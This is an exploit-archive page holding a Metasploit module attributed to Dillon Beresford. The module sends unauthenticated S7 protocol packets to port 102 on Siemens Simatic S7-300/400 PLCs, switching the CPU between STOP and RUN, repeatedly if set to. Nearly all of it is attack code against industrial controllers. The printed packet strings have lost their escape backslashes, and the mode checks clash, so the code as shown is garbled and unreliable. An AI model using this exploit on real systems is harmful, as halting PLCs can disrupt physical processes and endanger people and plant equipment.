[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Siemens Simatic S7-300/400 CPU START/STOP Module
# Published : 2012-07-14
# Author :
# Previous Title : HP StorageWorks P4000 Virtual SAN Appliance Command Execution
# Next Title : Symantec PcAnywhere 12.5.0 Login and Password Field Buffer Overflow


# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	
	include Msf::Exploit::Remote::Tcp
	include Rex::Socket::Tcp
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
		  'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
		  'Description'   => %q{
				The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
				this modules allows an attacker to perform administrative commands without authentication.
				This module allows a remote user to change the state of the PLC between
				STOP and START, allowing an attacker to end process control by the PLC.
			},
		  'Author'			=> 'Dillon Beresford',
		  'License'     			=> MSF_LICENSE,
		  'References'     =>
				[
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
				],
			'Version'        => '$Revision$',
		  'DisclosureDate' => 'May 09 2011'
		  ))
		  
		  register_options(
			  [
				  Opt::RPORT(102),
				  OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
				  OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
		    ], self.class)
		end
    
    def run_host(ip)
		begin
		
		cpu = datastore['MODE'] || ''
		cycles = datastore['CYCLES'] || ''
				
		stop_cpu_pkt = 
		  [
		    	       "x03x00x00x16x11xe0x00x00"+ 
		               "x00x01x00xc1x02x01x00xc2"+ 
			       "x02x01x02xc0x01x09",

				"x03x00x00x19x02xf0x80x32"+ 
				"x01x00x00xffxffx00x08x00"+ 
				"x00xf0x00x00x01x00x01x03"+ 
				"xc0",

				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x00x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x40x00x01x84x00x00x00",

				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",

				"x03x00x00x21x02xf0x80x32"+
				"x01x00x00x00x02x00x10x00"+ 
				"x00x29x00x00x00x00x00x09"+ 
				"x50x5fx50x52x4fx47x52x41"+ 
				"x4d",
				
				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",
				
				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",
				
				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",
				
			  	"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",
				
				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",
				
				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",
				
				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",
				
				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00"
		  ]
		
		start_cpu_pkt = 
		  [
		   	        "x03x00x00x16x11xe0x00x00"+ 
				"x00x01x00xc1x02x01x00xc2"+ 
				"x02x01x02xc0x01x09",

				"x03x00x00x19x02xf0x80x32"+ 
				"x01x00x00xffxffx00x08x00"+ 
				"x00xf0x00x00x01x00x01x03"+ 
				"xc0",

				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x00x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x40x00x01x84x00x00x00",

				"x03x00x00x1fx02xf0x80x32"+ 
				"x01x00x00x00x01x00x0ex00"+ 
				"x00x04x01x12x0ax10x02x00"+ 
				"x10x00x00x83x00x00x00",


				"x03x00x00x25x02xf0x80x32"+  
				"x01x00x00x00x02x00x14x00"+ 
				"x00x28x00x00x00x00x00x00"+ 
				"xfdx00x00x09x50x5fx50x52"+
				"x4fx47x52x41x4d"
				
				]
		# CPU STOP		
		if(cpu == 1)
		connect()
		stop_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	  # CPU START
	  if(cpu == 2)
		connect()
		start_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	# STOP / START CPU 
	for n in 0..cycles
	  if(cpu == 3)
		connect()
		# We assume PLC is up and running (issue a stop command)
		stop_cpu_pkt.each do |i|  
		  sock.put("#{i}")
		  sleep(0.005)
		end
		
		connect()
		# We assume PLC is has been stopped (issue a start command)
	  start_cpu_pkt.each do |i|
	    sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
  end
  
	data = sock.get_once()  
		print_good("#{ip} PLC is running, iso-tsap port is open.")
	if(cpu == 'true')
		print_status("Putting the PLC into START mode.")
			elsif(cpu == 'false')
				print_status("Putting the PLC into STOP mode.")
			end
			disconnect()
			rescue ::EOFError
		end
	end
end